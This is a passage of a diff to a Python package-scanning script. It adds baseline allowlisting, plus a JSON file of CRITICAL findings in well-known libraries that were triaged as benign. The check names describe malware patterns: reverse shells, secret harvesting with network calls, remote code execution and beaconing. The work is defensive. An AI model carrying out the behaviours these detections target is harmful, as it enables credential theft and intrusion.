     args = parser.parse_args()
 
     # --scan-dir: auto-discover requirements files
@@ -2066,11 +2629,34 @@ def main() -> int:
     finally:
         shutil.rmtree(tmpdir, ignore_errors = True)
 
-    print_findings(all_findings)
+    # Baseline allowlist: suppress triaged, known-good findings so the CI gate
+    # can be enforcing without red-failing on legitimate-library noise.
+    if args.no_baseline:
+        baseline_path = None
+    elif args.baseline:
+        baseline_path = args.baseline
+    elif os.path.isfile(_DEFAULT_BASELINE_PATH):
+        baseline_path = _DEFAULT_BASELINE_PATH
+    else:
+        baseline_path = None
+    baseline = _load_baseline(baseline_path) if baseline_path else set()
 
-    # --fix mode: auto-search for safe versions
-    if args.fix and all_findings:
-        critical_pkgs = {f.package for f in all_findings if f.severity == CRITICAL}
+    active, suppressed = _partition_baseline(all_findings, baseline)
+
+    print_findings(active)
+    if suppressed:
+        crit_s = sum(1 for f in suppressed if f.severity == CRITICAL)
+        high_s = sum(1 for f in suppressed if f.severity == HIGH)
+        med_s = sum(1 for f in suppressed if f.severity == MEDIUM)
+        print(
+            f"\n  {len(suppressed)} finding(s) suppressed by baseline "
+            f"{baseline_path} "
+            f"({crit_s} CRITICAL, {high_s} HIGH, {med_s} MEDIUM)."
+        )
+
+    # --fix mode: auto-search for safe versions (only real, non-baselined ones)
+    if args.fix and active:
+        critical_pkgs = {f.package for f in active if f.severity == CRITICAL}
         if critical_pkgs:
             print(
                 f"\n  --fix: Searching for safe versions of {len(critical_pkgs)} CRITICAL package(s)..."
@@ -2079,6 +2665,7 @@ def main() -> int:
 
     # Surface pip-download failures BEFORE the exit code so a partial download
     # can't masquerade as "0 findings, all clean" (silent-failure hardening 4).
+    # Also keeps us from writing a baseline from an incomplete scan.
     if download_errors:
         print(
             f"\n  {'=' * 72}\n"
@@ -2095,8 +2682,16 @@ def main() -> int:
         )
         return 2
 
-    # Exit code: 1 if any CRITICAL or HIGH
-    if any(f.severity in (CRITICAL, HIGH) for f in all_findings):
+    # --write-baseline: persist the full current CRITICAL/HIGH set as the new
+    # allowlist (ignoring any loaded baseline), then exit 0. Only reached once
+    # the scan is known complete.
+    if args.write_baseline:
+        _write_baseline(args.write_baseline, all_findings)
+        return 0
+
+    # Exit code: 1 only if a NON-baselined CRITICAL or HIGH remains. This is the
+    # signal CI gates on once the baseline reaches a clean run.
+    if any(f.severity in (CRITICAL, HIGH) for f in active):
         return 1
     return 0
 
diff --git a/scripts/scan_packages_baseline.json b/scripts/scan_packages_baseline.json
new file mode 100644
index 0000000000..67952c24f1
--- /dev/null
+++ b/scripts/scan_packages_baseline.json
@@ -0,0 +1,1329 @@
+{
+  "_comment": "scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding manually judged benign. Matched on (package, package-relative file, check); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line.",
+  "version": 1,
+  "entries": [
+    {
+      "package": "botocore",
+      "file": "botocore/credentials.py",
+      "check": "base64 decode + subprocess execution (staged payload)",
+      "severity": "CRITICAL",
+      "evidence": "Base64: L2714: return EC.new_key_from_der_data(base64.b64decode(contents))\nSubprocess: L1072: def __init__(self, profile_name, load_config, popen=subprocess.Popen):"
+    },
+    {
+      "package": "botocore",
+      "file": "botocore/httpsession.py",
+      "check": "Harvests environment variables/secrets AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Env: L186: sslkeylogfile = os.environ.get(\"SSLKEYLOGFILE\")\nNetwork: L477: urllib_response = conn.urlopen("
+    },
+    {
+      "package": "botocore",
+      "file": "botocore/utils.py",
+      "check": "Accesses cloud metadata/IMDS AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "IMDS: L100: METADATA_BASE_URL = 'http://169.254.169.254/' | L560: error_msg=\"Unable to retrieve token for use in IMDSv2 call and IMDSv1 has been disabled\" | L3072: IP_ADDRESS = '169.254.170.2'\nNetwork: L32: from urllib.request import getpro"
+    },
+    {
+      "package": "botocore",
+      "file": "botocore/utils.py",
+      "check": "Harvests environment variables/secrets AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies, proxy_bypass"
+    },
+    {
+      "package": "botocore",
+      "file": "botocore/utils.py",
+      "check": "Reads credential paths AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Creds: L3551: CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3721: return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass"
+    },
+    {
+      "package": "click",
+      "file": "click/testing.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L91: os.dup2(self._tmpfile.fileno(), self._targetfd) | L95: os.dup2(self.saved_fd, self._targetfd)"
+    },
+    {
+      "package": "datasets",
+      "file": "datasets/utils/file_utils.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L441: while True:"
+    },
+    {
+      "package": "diffusers",
+      "file": "diffusers/utils/import_utils.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L1015: return importlib.import_module(\".\" + module_name, self.__name__)"
+    },
+    {
+      "package": "diffusers",
+      "file": "diffusers/utils/testing_utils.py",
+      "check": "Harvests environment variables/secrets AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Env: L233: value = os.environ[key]\nNetwork: L688: response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L709: response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L728: image = PIL.Image.open(requests.get(image, st"
+    },
+    {
+      "package": "dill",
+      "file": "dill/_objects.py",
+      "check": "Creates archive with sensitive data AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Archive: L317: a['TarFileType'] = tarfile.open(fileobj=_fileW,mode='w')\nNetwork: L330: x['SocketType'] = _socket = socket.socket()"
+    },
+    {
+      "package": "evaluate",
+      "file": "evaluate/utils/file_utils.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L261: while True:"
+    },
+    {
+      "package": "execnet",
+      "file": "execnet/gateway_base.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L1783: os.dup2(fd, 0) | L1789: os.dup2(fd, 1) | L1794: os.dup2(fd, 2)"
+    },
+    {
+      "package": "fastapi",
+      "file": "fastapi/routing.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L579: while True:"
+    },
+    {
+      "package": "fastmcp-slim",
+      "file": "fastmcp/cli/apps_dev.py",
+      "check": "Creates archive with sensitive data AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Archive: L1340: with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1291: with httpx.Client(timeout=30.0) as client: | L1305: with httpx.Client(timeout=30.0) as client: | L1335: with httpx.Client(timeout=30.0) as clie"
+    },
+    {
+      "package": "fastmcp-slim",
+      "file": "fastmcp/cli/apps_dev.py",
+      "check": "Enumerates filesystem AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "FS: L624: history.replaceState(null, \"\", url);\nNetwork: L1291: with httpx.Client(timeout=30.0) as client: | L1305: with httpx.Client(timeout=30.0) as client: | L1335: with httpx.Client(timeout=30.0) as client:"
+    },
+    {
+      "package": "fonttools",
+      "file": "fontTools/diff/__init__.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L202: os.dup2(devnull, sys.stdout.fileno())"
+    },
+    {
+      "package": "fonttools",
+      "file": "fontTools/ttLib/ttFont.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L1420: __import__(\"fontTools.ttLib.tables.\" + pyTag)"
+    },
+    {
+      "package": "httpx",
+      "file": "httpx/_models.py",
+      "check": "Enumerates filesystem AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "FS: L528: history: list[Response] | None = None,\nNetwork: L9: import urllib.request | L1243: class _CookieCompatRequest(urllib.request.Request):"
+    },
+    {
+      "package": "huggingface-hub",
+      "file": "huggingface_hub/hf_api.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L4577: while True:"
+    },
+    {
+      "package": "huggingface-hub",
+      "file": "huggingface_hub/hf_api.py",
+      "check": "Harvests environment variables/secrets AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Env: L10852: o.addheaders = [(\"Authorization\", \"Bearer \" + os.environ[\"UV_SCRIPT_HF_TOKEN\"])]\nNetwork: L6504: resp = requests.post(path, headers=headers, json=body) | L10848: import urllib.request | L10851: o = urllib.request.build_opener()"
+    },
+    {
+      "package": "huggingface-hub",
+      "file": "huggingface_hub/utils/_http.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L428: while True:"
+    },
+    {
+      "package": "ipython",
+      "file": "IPython/core/interactiveshell.py",
+      "check": "Enumerates filesystem AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "FS: L78: from IPython.core.history import HistoryManager, HistoryOutput\nNetwork: L4048: from urllib.request import urlopen | L4049: response = urlopen(target)"
+    },
+    {
+      "package": "ipython",
+      "file": "IPython/terminal/pt_inputhooks/__init__.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L139: mod = importlib.import_module(\"IPython.terminal.pt_inputhooks.\" + gui_mod)"
+    },
+    {
+      "package": "ipython",
+      "file": "IPython/utils/py3compat.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L57: exec(compiler(f.read(), fname, \"exec\"), glob, loc)"
+    },
+    {
+      "package": "jaraco-context",
+      "file": "jaraco/context/__init__.py",
+      "check": "Creates archive with sensitive data AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Archive: L106: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L15: import urllib.request | L105: req = urllib.request.urlopen(url)"
+    },
+    {
+      "package": "matplotlib",
+      "file": "matplotlib/backends/backend_webagg.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L56: if not webbrowser.open(url):"
+    },
+    {
+      "package": "multiprocess",
+      "file": "multiprocess/forkserver.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L5: import socket"
+    },
+    {
+      "package": "multiprocess",
+      "file": "multiprocess/tests/__init__.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L3355: os.dup2(conn.fileno(), i) | L3387: \"test needs os.dup2()\") | L3405: os.dup2(fd, newfd)"
+    },
+    {
+      "package": "numba",
+      "file": "numba/pycc/decorators.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L44: exec(compile(fin.read(), ifile, 'exec'))"
+    },
+    {
+      "package": "numba",
+      "file": "numba/tests/support.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L1021: os.dup2(w, fd) | L1026: os.dup2(save, fd)"
+    },
+    {
+      "package": "numba",
+      "file": "numba/tests/test_codegen.py",
+      "check": "base64 decode + subprocess execution (staged payload)",
+      "severity": "CRITICAL",
+      "evidence": "Base64: L127: state = pickle.loads(base64.b64decode(sys.argv[1]))\nSubprocess: L130: subprocess.check_call([sys.executable, '-c', code, arg.decode()])"
+    },
+    {
+      "package": "numpy",
+      "file": "numpy/f2py/capi_maps.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L159: d = eval(f.read().lower(), {}, {})"
+    },
+    {
+      "package": "numpy",
+      "file": "numpy/lib/tests/test__datasource.py",
+      "check": "Enumerates filesystem AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "FS: L45: malicious_files = ['/etc/shadow', '../../shadow',\nNetwork: L2: import urllib.request as urllib_request"
+    },
+    {
+      "package": "openai",
+      "file": "openai/_base_client.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L264: while True:"
+    },
+    {
+      "package": "openai",
+      "file": "openai/_client.py",
+      "check": "Harvests environment variables/secrets AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Env: L174: api_key = os.environ.get(\"OPENAI_API_KEY\") | L184: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L207: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\")\nNetwork: L140: http_client: httpx.Client | None = None, | L521"
+    },
+    {
+      "package": "openai",
+      "file": "openai/auth/_workload.py",
+      "check": "Accesses cloud metadata/IMDS AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "IMDS: L96: url = \"http://169.254.169.254/metadata/identity/oauth2/token\" | L149: url = \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\"\nNetwork: L77: http_client: httpx.Client | None = None, | "
+    },
+    {
+      "package": "openai",
+      "file": "openai/lib/azure.py",
+      "check": "Harvests environment variables/secrets AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Env: L213: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L216: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\") | L533: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\")\nNetwork: L36: _HttpxClientT = TypeVar(\"_HttpxClientT\", bou"
+    },
+    {
+      "package": "openai",
+      "file": "openai/lib/bedrock.py",
+      "check": "Harvests environment variables/secrets AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Env: L133: api_key = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\") | L308: api_key = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\")\nNetwork: L119: http_client: httpx.Client | None = None, | L203: http_client: httpx.Client | None = None, | L294: ht"
+    },
+    {
+      "package": "openai",
+      "file": "openai/resources/beta/threads/runs/runs.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L1074: while True:"
+    },
+    {
+      "package": "openai",
+      "file": "openai/resources/realtime/realtime.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L310: while True:"
+    },
+    {
+      "package": "openai",
+      "file": "openai/resources/responses/responses.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L3803: while True:"
+    },
+    {
+      "package": "openai",
+      "file": "openai/resources/vector_stores/file_batches.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L347: while True:"
+    },
+    {
+      "package": "openai",
+      "file": "openai/resources/vector_stores/files.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L376: while True:"
+    },
+    {
+      "package": "openai",
+      "file": "openai/resources/videos.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L186: while True:"
+    },
+    {
+      "package": "protobuf",
+      "file": "protobuf-3.19.6-nspkg.pth",
+      "check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)",
+      "severity": "CRITICAL",
+      "evidence": "L1: import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('google',));importlib = has_mfs and __import_..."
+    },
+    {
+      "package": "ptyprocess",
+      "file": "ptyprocess/_fork_pty.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L33: os.dup2(child_fd, STDIN_FILENO) | L34: os.dup2(child_fd, STDOUT_FILENO) | L35: os.dup2(child_fd, STDERR_FILENO)"
+    },
+    {
+      "package": "pyarrow",
+      "file": "pyarrow/tests/conftest.py",
+      "check": "Harvests environment variables/secrets AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Env: L210: env = os.environ.copy() | L241: env = os.environ.copy() | L267: env = os.environ.copy()\nNetwork: L24: import urllib.request | L203: resp = urllib.request.urlopen(f\"http://{address}/minio/health/live\")"
+    },
+    {
+      "package": "pyarrow",
+      "file": "pyarrow/tests/test_extension_type.py",
+      "check": "base64 decode + subprocess execution (staged payload)",
+      "severity": "CRITICAL",
+      "evidence": "Base64: L1065: decoded_schema = base64.b64decode(meta.metadata[b\"ARROW:schema\"])\nSubprocess: L1350: subprocess.check_call([sys.executable, 'setup.py',"
+    },
+    {
+      "package": "pyarrow",
+      "file": "pyarrow/tests/test_flight.py",
+      "check": "base64 decode + subprocess execution (staged payload)",
+      "severity": "CRITICAL",
+      "evidence": "Base64: L592: token = base64.b64decode(token) | L692: decoded = base64.b64decode(values[1])\nSubprocess: L2674: res = subprocess.run([sys.executable, \"-c\", code], env=env,"
+    },
+    {
+      "package": "pyarrow",
+      "file": "pyarrow/tests/test_orc.py",
+      "check": "Writes to /tmp and executes (staged dropper)",
+      "severity": "CRITICAL",
+      "evidence": "L154: os.environ['TZDIR'] = '/tmp/non_existent'"
+    },
+    {
+      "package": "pyarrow",
+      "file": "pyarrow/tests/util.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L30: import socket"
+    },
+    {
+      "package": "pyarrow",
+      "file": "pyarrow/util.py",
+      "check": "Creates archive with sensitive data AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Archive: L293: tarfile.open(tzdata_compressed_path).extractall(tzdata_path)\nNetwork: L198: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | L234: from urllib.request import urlopen, Request | L236: with urlopen(req) as response:"
+    },
+    {
+      "package": "pygments",
+      "file": "pygments/formatters/__init__.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L103: exec(f.read(), custom_namespace)"
+    },
+    {
+      "package": "pygments",
+      "file": "pygments/lexers/__init__.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L154: exec(f.read(), custom_namespace)"
+    },
+    {
+      "package": "pygments",
+      "file": "pygments/lexers/_mysql_builtins.py",
+      "check": "Enumerates filesystem AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "FS: L792: 'history',\nNetwork: L1285: from urllib.request import urlopen | L1297: lex_file = urlopen(LEX_URL).read().decode('utf8', errors='ignore') | L1303: item_create_file = urlopen(ITEM_CREATE_URL).read().decode('utf8', errors='ignore')"
+    },
+    {
+      "package": "pygments",
+      "file": "pygments/lexers/_php_builtins.py",
+      "check": "Creates archive with sensitive data AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Archive: L3300: with tarfile.open(download[0]) as tar:\nNetwork: L3255: from urllib.request import urlretrieve"
+    },
+    {
+      "package": "pyperclip",
+      "file": "pyperclip/__init__.py",
+      "check": "base64 decode + subprocess execution (staged payload)",
+      "severity": "CRITICAL",
+      "evidence": "Base64: L488: decoded_bytes = base64.b64decode(base64_encoded)\nSubprocess: L80: return subprocess.call(['which', name], | L100: p = subprocess.Popen(['pbcopy', 'w'], | L105: p = subprocess.Popen(['pbpaste', 'r'],"
+    },
+    {
+      "package": "pytest",
+      "file": "_pytest/_py/path.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L1153: exec(f.read(), mod.__dict__)"
+    },
+    {
+      "package": "pytest",
+      "file": "_pytest/capture.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L483: os.dup2(self.targetfd_invalid, targetfd) | L522: os.dup2(self.tmpfile.fileno(), self.targetfd) | L532: os.dup2(self.targetfd_save, self.targetfd)"
+    },
+    {
+      "package": "pytest",
+      "file": "_pytest/config/__init__.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L260: os.dup2(devnull, sys.stdout.fileno())"
+    },
+    {
+      "package": "python-dateutil",
+      "file": "dateutil/__init__.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L16: return importlib.import_module(\".\" + name, __name__)"
+    },
+    {
+      "package": "rich",
+      "file": "rich/ansi.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L229: pty.spawn(sys.argv[1:], read)"
+    },
+    {
+      "package": "rich",
+      "file": "rich/console.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L2041: os.dup2(devnull, sys.stdout.fileno())"
+    },
+    {
+      "package": "rich-rst",
+      "file": "rich_rst/_vendor/docutils/readers/__init__.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L129: module = importlib.import_module('rich_rst._vendor.docutils.readers.'+name)"
+    },
+    {
+      "package": "rich-rst",
+      "file": "rich_rst/_vendor/docutils/writers/__init__.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L271: module = importlib.import_module('rich_rst._vendor.docutils.writers.'+name)"
+    },
+    {
+      "package": "scikit-learn",
+      "file": "sklearn/datasets/_openml.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L100: while True:"
+    },
+    {
+      "package": "scikit-learn",
+      "file": "sklearn/externals/array_api_compat/cupy/__init__.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')"
+    },
+    {
+      "package": "scikit-learn",
+      "file": "sklearn/externals/array_api_compat/dask/array/__init__.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')"
+    },
+    {
+      "package": "scikit-learn",
+      "file": "sklearn/externals/array_api_compat/numpy/__init__.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")"
+    },
+    {
+      "package": "scikit-learn",
+      "file": "sklearn/externals/array_api_compat/torch/__init__.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')"
+    },
+    {
+      "package": "scikit-learn",
+      "file": "sklearn/svm/tests/test_svm.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L1040: os.dup2(os.pipe()[1], 1) | L1047: os.dup2(stdout, 1)"
+    },
+    {
+      "package": "scipy",
+      "file": "scipy/_lib/array_api_compat/cupy/__init__.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')"
+    },
+    {
+      "package": "scipy",
+      "file": "scipy/_lib/array_api_compat/dask/array/__init__.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')"
+    },
+    {
+      "package": "scipy",
+      "file": "scipy/_lib/array_api_compat/numpy/__init__.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")"
+    },
+    {
+      "package": "scipy",
+      "file": "scipy/_lib/array_api_compat/torch/__init__.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')"
+    },
+    {
+      "package": "sentencepiece",
+      "file": "sentencepiece/__init__.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L1221: os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L1226: os.dup2(self.orig_stream_dup, self.orig_stream_fileno)"
+    },
+    {
+      "package": "setuptools",
+      "file": "distutils-precedence.pth",
+      "check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)",
+      "severity": "CRITICAL",
+      "evidence": "L1: import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__('_distutils_hack').add_shim();"
+    },
+    {
+      "package": "setuptools",
+      "file": "setuptools/_distutils/tests/test_build_ext.py",
+      "check": "Writes to /tmp and executes (staged dropper)",
+      "severity": "CRITICAL",
+      "evidence": "L115: shutil.copyfile(libz_so[-1], '/tmp/libxx_z.so')"
+    },
+    {
+      "package": "setuptools",
+      "file": "setuptools/_vendor/jaraco/context/__init__.py",
+      "check": "Creates archive with sensitive data AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Archive: L79: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L14: import urllib.request | L78: req = urllib.request.urlopen(url)"
+    },
+    {
+      "package": "sympy",
+      "file": "sympy/external/importtools.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L154: __import__(module + '.' + submod)"
+    },
+    {
+      "package": "tiktoken",
+      "file": "tiktoken/load.py",
+      "check": "Harvests environment variables/secrets AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Env: L38: cache_dir = os.environ[\"TIKTOKEN_CACHE_DIR\"]\nNetwork: L17: resp = requests.get(blobpath)"
+    },
+    {
+      "package": "torch",
+      "file": "functorch/dim/magic_trace.py",
+      "check": "Writes to /tmp and executes (staged dropper)",
+      "severity": "CRITICAL",
+      "evidence": "L15: output: str = \"trace.fxt\", magic_trace_cache: str = \"/tmp/magic-trace\""
+    },
+    {
+      "package": "torch",
+      "file": "torch/_inductor/codecache.py",
+      "check": "base64 decode + subprocess execution (staged payload)",
+      "severity": "CRITICAL",
+      "evidence": "Base64: L1211: content = base64.b64decode(data)\nSubprocess: L2692: subprocess.run( | L2995: cmd_output = subprocess.run( | L3707: out = subprocess.check_output("
+    },
+    {
+      "package": "torch",
+      "file": "torch/ao/__init__.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L30: return importlib.import_module(\".\" + name, __name__)"
+    },
+    {
+      "package": "torch",
+      "file": "torch/ao/nn/__init__.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L34: return importlib.import_module(\".\" + name, __name__)"
+    },
+    {
+      "package": "torch",
+      "file": "torch/ao/nn/intrinsic/__init__.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L40: return importlib.import_module(\".\" + name, __name__)"
+    },
+    {
+      "package": "torch",
+      "file": "torch/cuda/_memory_viz.py",
+      "check": "Enumerates filesystem AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "FS: L74: if \"history\" in b:\nNetwork: L97: import urllib.request | L101: urllib.request.urlretrieve("
+    },
+    {
+      "package": "torch",
+      "file": "torch/distributed/elastic/multiprocessing/redirects.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L218: os.dup2(dst.fileno(), std_fd)"
+    },
+    {
+      "package": "torch",
+      "file": "torch/hub.py",
+      "check": "Harvests environment variables/secrets AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Env: L237: token = os.environ.get(ENV_GITHUB_TOKEN)\nNetwork: L19: from urllib.request import Request, urlopen | L206: with urlopen(f\"https://github.com/{repo_owner}/{repo_name}/tree/main/\"): | L230: with urlopen(url) as r:"
+    },
+    {
+      "package": "torch",
+      "file": "torch/testing/_internal/common_utils.py",
+      "check": "Harvests environment variables/secrets AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Env: L4770: env = os.environ.copy()\nNetwork: L4832: with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4850: with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:"
+    },
+    {
+      "package": "torch",
+      "file": "torch/testing/_internal/common_utils.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L32: import socket"
+    },
+    {
+      "package": "torchvision",
+      "file": "torchvision/datasets/utils.py",
+      "check": "Creates archive with sensitive data AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Archive: L212: with tarfile.open(from_path, f\"r:{compression[1:]}\" if compression else \"r\") as tar:\nNetwork: L12: import urllib.request | L28: with urllib.request.urlopen(urllib.request.Request(url, headers={\"User-Agent\": USER_AGENT})) as r"
+    },
+    {
+      "package": "traitlets",
+      "file": "traitlets/config/loader.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L82: exec(compile(f.read(), fname, \"exec\"), glob, glob) | L655: exec(compile(f.read(), conf_filename, \"exec\"), namespace, namespace)"
+    },
+    {
+      "package": "transformers",
+      "file": "transformers/integrations/integration_utils.py",
+      "check": "Enumerates filesystem AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "FS: L2057: \"Syncing log history requires both flytekitplugins-deck-standard and pandas to be installed. \"\nNetwork: L2462: import urllib.request | L2493: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2494: w"
+    },
+    {
+      "package": "transformers",
+      "file": "transformers/integrations/integration_utils.py",
+      "check": "Harvests environment variables/secrets AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "Env: L2444: token_path = os.environ.get(self._ENV_TOKEN_PATH)\nNetwork: L2462: import urllib.request | L2493: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2494: with urllib.request.urlopen(req, timeout=5, c"
+    },
+    {
+      "package": "transformers",
+      "file": "transformers/testing_utils.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L1577: while True:"
+    },
+    {
